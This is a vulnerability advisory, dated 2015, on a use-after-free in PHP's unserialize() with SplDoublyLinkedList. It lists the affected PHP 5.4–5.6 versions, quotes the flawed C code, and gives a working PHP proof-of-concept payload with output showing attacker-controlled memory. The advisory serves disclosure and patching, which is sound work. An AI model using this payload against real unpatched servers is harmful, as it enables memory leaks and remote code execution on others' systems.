#Use After Free Vulnerability in unserialize() with SplDoublyLinkedList

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.30 - Release Date: 2015.8.7

> A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
  ALLOC_INIT_ZVAL(flags);
  if (!php_var_unserialize(&flags, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(flags) != IS_LONG) {
    zval_ptr_dtor(&flags);
    goto error;
  }
  intern->flags = Z_LVAL_P(flags);
  zval_ptr_dtor(&flags);  <===  free memory
  
  ...

  PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
  return;
```

The zval_ptr_dtor() leads to &flags is freed from memory. However the
unserialize() will still allow to use R: or r: to set references to
that already freed memory. It is possible to use-after-free attack and
execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'i:0;';
$exploit = 'a:2:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
  $out = "";
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
  [0]=>
  object(SplDoublyLinkedList)#1 (2) {
    ["flags":"SplDoublyLinkedList":private]=>
    int(0)
    ["dllist":"SplDoublyLinkedList":private]=>
    array(0) {
    }
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
```